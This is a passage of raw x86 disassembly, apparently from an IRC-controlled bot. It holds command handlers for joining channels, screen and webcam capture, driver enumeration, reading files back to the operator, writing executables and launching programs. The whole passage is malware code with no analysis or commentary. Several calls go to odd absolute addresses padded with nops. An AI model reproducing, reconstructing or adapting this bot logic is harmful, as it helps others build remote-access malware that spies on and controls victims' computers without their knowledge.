esp, 10h cmp eax, esi jnz short loc_408403 mov [ebp+var_638], 5 loc_408403: ; CODE XREF: sub_401ACD+692Bj cmp [ebp+var_C], ebx jz loc_406CDE push edi push [ebp+var_C] call sub_41B900 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDE lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call near ptr 2650BFCh nop test eax, eax jnz short loc_40844C push offset unk_429FE0 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40844C: ; CODE XREF: sub_401ACD+6973j push edi push offset dword_429FC4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408457: ; CODE XREF: sub_401ACD+4ACBj ; sub_401ACD+4AE2j push edi push offset aDark ; "Dark" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085D0 lea eax, [ebp+var_48F0] push eax push 104h nop call near ptr 2690000h push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_17D0] push eax call sub_40AD80 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B886 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084EC push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F2 ; --------------------------------------------------------------------------- loc_4084EC: ; CODE XREF: sub_401ACD+6A09j mov [ebp+var_23C0], ebx loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408509 push esi call sub_41B779 pop ecx mov [ebp+var_23C4], eax jmp short loc_40850F ; --------------------------------------------------------------------------- loc_408509: ; CODE XREF: sub_401ACD+6A2Bj mov [ebp+var_23C4], ebx loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C4] push offset dword_429F8C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset loc_4163F9 push ebx push ebx call near ptr 2670659h nop mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4085BF loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j cmp [ebp+var_23B0], ebx jnz loc_406CDE push 32h nop call near ptr 26705B3h jmp short loc_4085A9 ; --------------------------------------------------------------------------- loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj call near ptr 2680000h nop push eax push offset dword_429F50 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4085D0: ; CODE XREF: sub_401ACD+6999j push offset dword_429F08 loc_4085D5: ; CODE XREF: sub_401ACD+2E73j ; sub_401ACD+457Cj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_406CDE ; --------------------------------------------------------------------------- loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj ; sub_401ACD+4AB4j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 push [ebp+arg_10] call sub_41B779 add esp, 28h test eax, eax jle short loc_408673 push [ebp+arg_10] call sub_41B779 imul eax, 3E8h pop ecx push eax nop call near ptr 26705B3h loc_408673: ; CODE XREF: sub_401ACD+6B8Ej push offset dword_429EE4 call sub_4151AC mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401ACD+4A6Fj ; sub_401ACD+4A86j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C070 add esp, 10h test eax, eax push esi jz short loc_408745 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset dword_429ECC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 add eax, [ebp+arg_24] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408745: ; CODE XREF: sub_401ACD+6BFAj push offset unk_429E98 loc_40874A: ; CODE XREF: sub_401ACD+7542j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408759: ; CODE XREF: sub_401ACD+74CAj ; sub_401ACD+7623j cmp [ebp+var_8], ebx jnz short loc_40877A push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj ; sub_401ACD+72C7j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_409853 ; --------------------------------------------------------------------------- loc_40878B: ; CODE XREF: sub_401ACD+4A41j ; sub_401ACD+4A58j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_208C], eax lea eax, [ebp+var_2C4] mov [ebp+var_2218], esi push offset unk_429E64 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset byte_4143CB push ebx push ebx call near ptr 2670659h nop mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40884B loc_408839: ; CODE XREF: sub_401ACD+6D7Cj cmp [ebp+var_2088], ebx jnz short loc_408866 push 32h call near ptr 26705B3h nop jmp short loc_408839 ; --------------------------------------------------------------------------- loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj nop call near ptr 2680000h push eax push offset unk_429E28 loc_408857: ; CODE XREF: sub_401ACD+6E89j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408866: ; CODE XREF: sub_401ACD+6D72j ; sub_401ACD+6E6Dj cmp [ebp+var_8], ebx jnz loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_409628 ; --------------------------------------------------------------------------- loc_408886: ; CODE XREF: sub_401ACD+4A13j ; sub_401ACD+4A2Aj push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2220], eax lea eax, [ebp+var_2C4] mov [ebp+var_23AC], esi push offset dword_429DFC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset byte_413B77 push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40894A loc_408934: ; CODE XREF: sub_401ACD+6E7Bj cmp [ebp+var_221C], ebx jnz loc_408866 push 32h call near ptr 26705B3h nop jmp short loc_408934 ; --------------------------------------------------------------------------- loc_40894A: ; CODE XREF: sub_401ACD+6E65j nop call near ptr 2680000h push eax push offset dword_429DC0 jmp loc_408857 ; --------------------------------------------------------------------------- loc_40895B: ; CODE XREF: sub_401ACD+49E5j ; sub_401ACD+49FCj push edi lea eax, [ebp+var_2C4] push offset dword_429DB8 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 10h loc_408978: ; CODE XREF: sub_401ACD+6F16j test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 loc_408994: ; CODE XREF: sub_401ACD+7A55j lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C jmp loc_404933 ; --------------------------------------------------------------------------- loc_4089BF: ; CODE XREF: sub_401ACD+49B7j ; sub_401ACD+49CEj push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push edi push offset dword_429DA4 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 14h jmp short loc_408978 ; --------------------------------------------------------------------------- loc_4089E5: ; CODE XREF: sub_401ACD+4989j ; sub_401ACD+49A0j push edi lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 mov esi, [ebp+arg_10] push esi call sub_41B779 add esp, 10h test eax, eax jle loc_409854 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push edi push esi push offset dword_429D88 loc_408A4B: ; CODE XREF: sub_401ACD+7009j ; sub_401ACD+7078j ... call sub_415220 jmp loc_404933 ; --------------------------------------------------------------------------- loc_408A55: ; CODE XREF: sub_401ACD+495Bj ; sub_401ACD+4972j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A84 push esi lea eax, [ebp+var_2C4] push offset dword_429D80 push eax call sub_41B886 add esp, 0Ch loc_408A84: ; CODE XREF: sub_401ACD+6FA0j mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D64 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408ADB: ; CODE XREF: sub_401ACD+492Dj ; sub_401ACD+4944j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push esi push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D48 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408B4A: ; CODE XREF: sub_401ACD+48FFj ; sub_401ACD+4916j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset unk_429D20 jmp loc_40984D ; --------------------------------------------------------------------------- loc_408B86: ; CODE XREF: sub_401ACD+48D1j ; sub_401ACD+48E8j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 push edi push offset dword_429D14 push [ebp+arg_4] call sub_409A2C push [ebp+arg_10] call sub_41B779 imul eax, 3E8h add esp, 10h push eax nop call near ptr 26705B3h push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_429D00 call sub_4151AC jmp loc_40351F ; --------------------------------------------------------------------------- loc_408BEA: ; CODE XREF: sub_401ACD+48A3j ; sub_401ACD+48BAj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push esi lea eax, [ebp+var_2C4] push offset dword_42A434 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 20h push esi push [ebp+arg_10] push offset unk_429CE4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408C57: ; CODE XREF: sub_401ACD+4875j ; sub_401ACD+488Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 14h push esi push [ebp+arg_10] push offset unk_429CC4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408CAC: ; CODE XREF: sub_401ACD+4847j ; sub_401ACD+485Ej cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax push [ebp+arg_10] call sub_4150B4 pop ecx pop ecx push [ebp+arg_10] push offset unk_429CA4 loc_408CDB: ; CODE XREF: sub_401ACD+5852j ; sub_401ACD+7B2Aj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_40960F ; --------------------------------------------------------------------------- loc_408CEF: ; CODE XREF: sub_401ACD+4819j ; sub_401ACD+4830j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4184E1 jmp loc_4040FC ; --------------------------------------------------------------------------- loc_408D09: ; CODE XREF: sub_401ACD+47DBj ; sub_401ACD+47F0j push [ebp+arg_10] push [ebp+arg_1C] call sub_41B900 pop ecx test eax, eax pop ecx jz loc_409854 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408DB1 push esi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push [ebp+arg_10] push offset unk_429C7C push eax call sub_41B886 add esp, 10h inc [ebp+arg_24] jmp loc_40877A ; --------------------------------------------------------------------------- loc_408D99: ; CODE XREF: sub_401ACD+726Fj lea eax, [ebp+var_2C4] push offset unk_429C4C push eax call sub_41B886 pop ecx pop ecx jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DB1: ; CODE XREF: sub_401ACD+725Aj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset dword_429C30 push 200h push eax call sub_41B980 add esp, 10h jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DFD: ; CODE XREF: sub_401ACD+47B1j ; sub_401ACD+47C6j push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408E58 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408E45 push edi call sub_4153BC cmp eax, 1 pop ecx jnz short loc_408E3E push edi lea eax, [ebp+var_2C4] push offset unk_429BFC push eax call sub_41B886 add esp, 0Ch jmp short loc_408E58 ; --------------------------------------------------------------------------- loc_408E3E: ; CODE XREF: sub_401ACD+7358j push offset unk_429BCC jmp short loc_408E4A ; --------------------------------------------------------------------------- loc_408E45: ; CODE XREF: sub_401ACD+734Cj push offset unk_429B90 loc_408E4A: ; CODE XREF: sub_401ACD+7376j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408E58: ; CODE XREF: sub_401ACD+7341j ; sub_401ACD+736Fj push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408EE5 xor edi, edi loc_408E6D: ; CODE XREF: sub_401ACD+7403j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CAFA4 test eax, eax jz short loc_408ECC lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_429B60 push eax call sub_41B886 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h loc_408ECC: ; CODE XREF: sub_401ACD+73C1j inc edi cmp edi, 0Ah jl short loc_408E6D lea eax, [ebp+var_2C4] push offset unk_429B38 push eax call sub_41B886 pop ecx pop ecx loc_408EE5: ; CODE XREF: sub_401ACD+739Cj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408F86 cmp [ebp+esi+var_88], ebx jz short loc_408F73 cmp [ebp+esi+var_84], ebx jz short loc_408F73 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F73 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F73 push eax call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_4155F7 add esp, 10h test eax, eax jnz short loc_408F6C push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset unk_429B04 push eax call sub_41B886 add esp, 0Ch jmp short loc_408F86 ; --------------------------------------------------------------------------- loc_408F6C: ; CODE XREF: sub_401ACD+7480j push offset unk_429AD0 jmp short loc_408F78 ; --------------------------------------------------------------------------- loc_408F73: ; CODE XREF: sub_401ACD+7436j ; sub_401ACD+743Fj ... push offset unk_429A98 loc_408F78: ; CODE XREF: sub_401ACD+74A4j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408F86: ; CODE XREF: sub_401ACD+7429j ; sub_401ACD+749Dj push offset aVideo ; "video" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408759 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901E mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_40901E mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901E mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901E mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901E push esi call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+arg_18] call sub_41B779 pop ecx push eax push [ebp+arg_0] call sub_41B779 pop ecx push eax push [ebp+arg_1C] call sub_4157F0 add esp, 14h test eax, eax jnz short loc_409014 push [ebp+arg_1C] push offset unk_429A64 jmp loc_40874A ; --------------------------------------------------------------------------- loc_409014: ; CODE XREF: sub_401ACD+7538j push offset unk_429A24 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_40901E: ; CODE XREF: sub_401ACD+74DCj ; sub_401ACD+74EAj ... push offset unk_4299E4 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_409028: ; CODE XREF: sub_401ACD+4041j ; sub_401ACD+4056j push offset aR ; "r" push [ebp+arg_10] call sub_41B4C2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409098 mov esi, 200h push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 0Ch loc_409053: ; CODE XREF: sub_401ACD+75B5j test eax, eax jz short loc_409084 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 20h jmp short loc_409053 ; --------------------------------------------------------------------------- loc_409084: ; CODE XREF: sub_401ACD+7588j push edi call sub_41B05B pop ecx push [ebp+arg_10] push offset unk_4299C0 jmp loc_409226 ; --------------------------------------------------------------------------- loc_409098: ; CODE XREF: sub_401ACD+756Ej push [ebp+arg_10] push offset unk_42999C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+4017j ; sub_401ACD+402Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push offset asc_429998 ; "\n" push esi call sub_41BEC0 push esi call sub_419A50 add esp, 0Ch test eax, eax jnz short loc_4090F5 push offset unk_42996C loc_4090E2: ; CODE XREF: sub_401ACD+754Cj ; sub_401ACD+7556j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_408759 ; --------------------------------------------------------------------------- loc_4090F5: ; CODE XREF: sub_401ACD+760Ej push esi lea eax, [ebp+var_2C4] push offset dword_429954 push eax call sub_41B886 add esp, 0Ch jmp loc_40877A ; --------------------------------------------------------------------------- loc_40910F: ; CODE XREF: sub_401ACD+3FEDj ; sub_401ACD+4002j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_409854 push eax call sub_418211 test eax, eax pop ecx jnz short loc_40913F push offset unk_429934 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_40913F: ; CODE XREF: sub_401ACD+7669j push offset dword_429918 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_409146: ; CODE XREF: sub_401ACD+3FC3j ; sub_401ACD+3FD8j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41B5F0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409177 push 7Fh lea eax, [ebp+var_2000] push esi push eax call sub_41B5F0 add esp, 0Ch loc_409177: ; CODE XREF: sub_401ACD+7696j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C4] push offset dword_429900 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B0F6 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB5 push ebx push ebx call near ptr 2670659h nop mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40921A loc_409204: ; CODE XREF: sub_401ACD+774Bj cmp [ebp+var_1EF4], ebx jnz loc_406CFF push 32h nop call near ptr 26705B3h jmp short loc_409204 ; --------------------------------------------------------------------------- loc_40921A: ; CODE XREF: sub_401ACD+7735j nop call near ptr 2680000h push eax push offset unk_4298C0 loc_409226: ; CODE XREF: sub_401ACD+29CEj ; sub_401ACD+75C6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_406CFF ; --------------------------------------------------------------------------- loc_40923A: ; CODE XREF: sub_401ACD+3F99j ; sub_401ACD+3FAEj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_40F96A add esp, 10h push [ebp+arg_10] push offset dword_4298A8 jmp loc_40984D ; --------------------------------------------------------------------------- loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj ; sub_401ACD+3F84j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+arg_10] push offset aS_1 ; "%s" push eax call sub_41B886 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C4] push offset unk_429884 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset loc_415E1A push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_409325: ; CODE XREF: sub_401ACD+786Cj cmp [ebp+var_1BA0], ebx jnz loc_4083BC push 32h nop call near ptr 26705B3h jmp short loc_409325 ; --------------------------------------------------------------------------- loc_40933B: ; CODE XREF: sub_401ACD+3F45j ; sub_401ACD+3F5Aj push [ebp+arg_10] nop call near ptr 2670881h test eax, eax jz short loc_409366 push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset dword_429868 push 200h push eax call sub_41B980 jmp loc_409444 ; --------------------------------------------------------------------------- loc_409366: ; CODE XREF: sub_401ACD+7879j push offset dword_42A070 call sub_41814C pop ecx push eax jmp loc_403F47 ; --------------------------------------------------------------------------- loc_409377: ; CODE XREF: sub_401ACD+3F1Bj ; sub_401ACD+3F30j push [ebp+arg_10] call sub_41B779 push eax call sub_4199C9 pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_409398 push offset unk_429844 jmp short loc_40939D ; --------------------------------------------------------------------------- loc_409398: ; CODE XREF: sub_401ACD+78C2j push offset unk_429814 loc_40939D: ; CODE XREF: sub_401ACD+78C9j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D02 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j ; sub_401ACD+3F06j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4196BC add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_4093FC push offset unk_4297F4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4093FC: ; CODE XREF: sub_401ACD+7923j push offset unk_4297C4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_409406: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDCj mov esi, [ebp+arg_10] push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944C push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_409467 push dword ptr [eax] loc_409432: ; CODE XREF: sub_401ACD+7998j push esi lea eax, [ebp+var_2C4] push offset unk_4297A4 push eax call sub_41B886 loc_409444: ; CODE XREF: sub_401ACD+7894j add esp, 10h jmp loc_406CDE ; --------------------------------------------------------------------------- loc_40944C: ; CODE XREF: sub_401ACD+794Cj push esi call dword_4CAFF8 cmp eax, ebx jz short loc_409467 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB000 push eax jmp short loc_409432 ; --------------------------------------------------------------------------- loc_409467: ; CODE XREF: sub_401ACD+7961j ; sub_401ACD+7988j push offset unk_42977C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_409471: ; CODE XREF: sub_401ACD+3E9Dj ; sub_401ACD+3EB2j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41B5F0 add esp, 0Ch push [ebp+arg_10] push offset unk_429754 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40948E: ; CODE XREF: sub_401ACD+3E73j ; sub_401ACD+3E88j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4CAEE0 push [ebp+arg_10] test eax, eax jz short loc_4094B2 push offset unk_429734 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094B2: ; CODE XREF: sub_401ACD+79D9j push offset unk_429710 jmp loc_406CCF ; 